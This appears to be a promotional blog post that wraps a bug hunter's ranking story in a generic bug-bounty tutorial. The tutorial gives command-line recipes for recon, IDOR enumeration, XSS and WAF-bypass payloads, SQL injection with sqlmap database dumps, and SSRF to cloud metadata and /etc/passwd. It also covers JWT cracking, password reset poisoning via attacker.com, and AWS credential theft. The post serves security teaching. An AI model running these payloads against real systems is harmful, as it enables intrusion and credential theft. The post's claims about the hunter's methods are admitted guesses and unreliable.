From Zero to Hall of Fame: How 3 Months of Relentless Bug Hunting Landed Rank 33 and Multiple Bounties + Video

Listen to this Post

Featured Image

Introduction:

In the high-stakes arena of cybersecurity, bug bounty hunting represents the ultimate proving ground where theoretical knowledge meets real-world exploitation. The journey from frustration to recognition—spanning sleepless nights, countless rejections, and eventual hall of fame inductions—embodies the relentless curiosity that defines elite security researchers. This transformation from anonymous hunter to ranked professional requires mastering a specific methodology that combines reconnaissance, exploitation techniques, and precise vulnerability documentation across diverse technological landscapes.

Learning Objectives:

  • Master the end-to-end bug hunting methodology from reconnaissance to responsible disclosure
  • Implement practical vulnerability exploitation techniques across web, mobile, and infrastructure targets
  • Develop the persistence and systematic approach required to achieve ranking in competitive bug bounty platforms

You Should Know:

  1. Reconnaissance: The Foundation of Every Successful Bug Hunt
    Extended version: Before launching a single exploit, professional bug hunters spend 60-70% of their time on reconnaissance. Vivek’s success didn’t happen by accident—it began with understanding target scope, mapping attack surfaces, and identifying hidden entry points that automated scanners miss completely.

Step‑by‑step guide explaining what this does and how to use it:
Start with passive reconnaissance using tools that don’t touch the target:

 Subdomain enumeration using multiple sources
subfinder -d target.com -all -o subdomains.txt
amass enum -passive -d target.com -o amass_results.txt

Combine and sort unique subdomains
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt

Check for live hosts
httpx -l all_subs.txt -status-code -title -tech-detect -o live_hosts.txt

Discover hidden directories and parameters
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -recursion -recursion-depth 2

For Windows environments, leverage PowerShell for initial reconnaissance:

 DNS enumeration
Resolve-DnsName -Name target.com -Type A
Resolve-DnsName -Name target.com -Type MX

Port scanning basic implementation
Test-NetConnection -ComputerName target.com -Port 80,443,22,21,8080

2. Vulnerability Identification: From Theory to Practical Exploitation

Extended version: The transition from scanning to actual exploitation requires understanding how vulnerabilities manifest in real applications. Vivek’s multiple bounties came from recognizing patterns that automated tools miss—business logic flaws, IDOR vulnerabilities, and chained exploits that create critical impact.

Step‑by‑step guide for identifying Insecure Direct Object References (IDOR):

 Intercept requests using Burp Suite
 Configure browser to use Burp proxy (127.0.0.1:8080)

Test parameter manipulation
 Original request: GET /api/user/profile?id=1234
 Modified request: GET /api/user/profile?id=1235

Automate IDOR testing with custom script
for id in {1000..2000}; do
response=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/api/user/profile?id=$id")
if [ "$response" == "200" ]; then
echo "Potential IDOR found with ID: $id"
fi
done

For Windows-based API testing:

 PowerShell API fuzzing
$ids = 1000..2000
foreach ($id in $ids) {
$response = Invoke-WebRequest -Uri "https://target.com/api/user/profile?id=$id" -Method Get
if ($response.StatusCode -eq 200) {
Write-Host "Potential IDOR found with ID: $id" -ForegroundColor Green
}
}

3. Cross-Site Scripting (XSS) Discovery and Exploitation

Extended version: XSS remains one of the most prevalent vulnerabilities, but finding reflected XSS requires understanding input reflection points, context-aware payload crafting, and bypassing modern WAF implementations. Vivek’s methodology likely included both automated scanning and manual payload customization.

Step‑by‑step guide for comprehensive XSS testing:

 Basic XSS payload generation
echo "<script>alert('XSS')</script>" > payloads.txt
echo "\"><script>alert('XSS')</script>" >> payloads.txt
echo "javascript:alert('XSS')" >> payloads.txt

Automated XSS scanning with Dalfox
dalfox url https://target.com/search?q=test -b your-collaborator-domain

Manual parameter testing with curl
curl -X GET "https://target.com/search?q=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E"

Bypass WAF with obfuscated payloads
curl -X GET "https://target.com/search?q=%3Cscr%00ipt%3Ealert(1)%3C%2Fscr%00ipt%3E"

For Windows environments with Internet Explorer compatibility:

 XSS testing with WebClient
$payload = [System.Web.HttpUtility]::UrlEncode("<script>alert('XSS')</script>")
$url = "https://target.com/search?q=$payload"
$response = Invoke-WebRequest -Uri $url
if ($response.Content -match "<script>alert\('XSS'\)</script>") {
Write-Host "XSS payload reflected - vulnerability confirmed" -ForegroundColor Red
}

4. SQL Injection: Database Exploitation Techniques

Extended version: SQL injection continues to reward hunters who understand database-specific syntax and blind exploitation techniques. Vivek’s success likely involved both error-based and time-based SQL injection discovery across diverse backend technologies.

Step‑by‑step guide for manual SQL injection testing:

 Basic error-based detection
curl "https://target.com/product?id=1'"
curl "https://target.com/product?id=1''"
curl "https://target.com/product?id=1 AND 1=1"
curl "https://target.com/product?id=1 AND 1=2"

Time-based blind SQL injection (MySQL)
curl "https://target.com/product?id=1 AND SLEEP(5)"

PostgreSQL time-based
curl "https://target.com/product?id=1; SELECT pg_sleep(5)--"

Extract database information using UNION attacks
curl "https://target.com/product?id=1 UNION SELECT 1,2,3,database(),5,6,7--"

Automated extraction with sqlmap
sqlmap -u "https://target.com/product?id=1" --dbs --batch
sqlmap -u "https://target.com/product?id=1" -D database_name --tables
sqlmap -u "https://target.com/product?id=1" -D database_name -T users --dump

5. Server-Side Request Forgery (SSRF) Discovery and Impact

Extended version: SSRF vulnerabilities enable attackers to pivot from internet-facing applications to internal networks. Vivek’s methodology for finding SSRF would involve identifying features that fetch external resources and testing for internal network access.

Step‑by‑step guide for SSRF exploitation:

 Basic SSRF detection
curl -X POST https://target.com/fetch-url -d "url=http://169.254.169.254/latest/meta-data/"
curl -X POST https://target.com/fetch-url -d "url=http://127.0.0.1:8080/admin"
curl -X POST https://target.com/fetch-url -d "url=file:///etc/passwd"

DNS-based SSRF detection with Burp Collaborator
 Use collaborator domain in URL parameter

Blind SSRF exploitation with response timing
time curl -X POST https://target.com/fetch-url -d "url=http://internal.service:8080"

Port scanning via SSRF
for port in {1..65535}; do
time curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/fetch-url -d "url=http://127.0.0.1:$port"
done

6. Authentication Bypass and Session Management Flaws

Extended version: Beyond technical vulnerabilities, logic flaws in authentication mechanisms offer high-impact findings. Vivek’s multiple bounties may have included discovering weak password reset mechanisms, JWT manipulation, or session fixation vulnerabilities.

Step‑by‑step guide for testing authentication mechanisms:

 JWT token manipulation
 Decode JWT
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature" | cut -d. -f2 | base64 -d

JWT brute force with john
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature -C -d /usr/share/wordlists/rockyou.txt

Password reset poisoning
curl -X POST https://target.com/reset-password -H "Host: attacker.com" -d "[email protected]"

Rate limiting testing
for i in {1..100}; do
curl -X POST https://target.com/login -d "username=admin&password=wrong$i" &
done

7. Cloud and Infrastructure Misconfigurations

Extended version: Modern bug bounty programs include cloud assets, making S3 bucket misconfigurations, exposed AWS metadata, and Kubernetes API exposure valuable findings. Vivek’s comprehensive approach would extend beyond web applications to cloud infrastructure.

Step‑by‑step guide for cloud infrastructure testing:

 S3 bucket enumeration and testing
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp localfile.txt s3://target-bucket/ --no-sign-request
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request

AWS metadata service exploitation (from compromised instance)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

Kubernetes API exposure testing
curl -k https://target.com:6443/api/v1/pods
kubectl --insecure-skip-tls-verify -s https://target.com:6443 get pods

Azure cloud testing
az storage blob list --account-name targetaccount --container-name public-container --anonymous

What Undercode Say:

  • Consistency outperforms intensity: Vivek’s 3-month journey proves that daily engagement, even on fruitless days, compounds into expertise. The hunters who succeed aren’t necessarily the most talented—they’re the ones who show up every single day, analyze every response, and refuse to let empty days diminish their curiosity. This persistence creates the mental database of vulnerability patterns that separates top 33 hunters from the 15,000 others.

  • Methodology trumps tools: While automated scanners provide initial leads, Vivek’s multiple bounties and hall of fame listings came from understanding business logic, chaining vulnerabilities, and thinking like an attacker rather than a scanner operator. The most critical vulnerabilities—business logic flaws, IDORs, and authentication bypasses—require human intuition and systematic testing approaches that no automated tool can replicate.

  • The ranking game requires strategic scope selection: Achieving rank 33 among 15,000 hunters indicates strategic program selection—focusing on targets with appropriate scope, clear documentation, and responsive security teams. Successful hunters analyze program statistics, study previously reported vulnerabilities, and identify targets where their specific skill sets provide competitive advantage.

Prediction:

The next evolution of bug bounty hunting will be transformed by AI-assisted vulnerability discovery, where large language models analyze application behavior patterns and suggest exploitation chains that human hunters might miss. However, this democratization of vulnerability discovery will paradoxically increase the value of human intuition—as AI handles routine scanning and pattern recognition, the top 1% of hunters who understand business logic, contextual exploitation, and creative vulnerability chaining will become even more valuable. Platforms like ComOlho will integrate AI co-pilots that guide hunters toward high-probability vulnerability surfaces while human creativity focuses on the novel exploitation paths that machines cannot conceptualize. The hunters who thrive will be those who treat AI as an amplifier rather than a replacement, using machine efficiency to free cognitive resources for the creative problem-solving that defines elite security research.

▶️ Related Video (70% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Vivek Patil – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky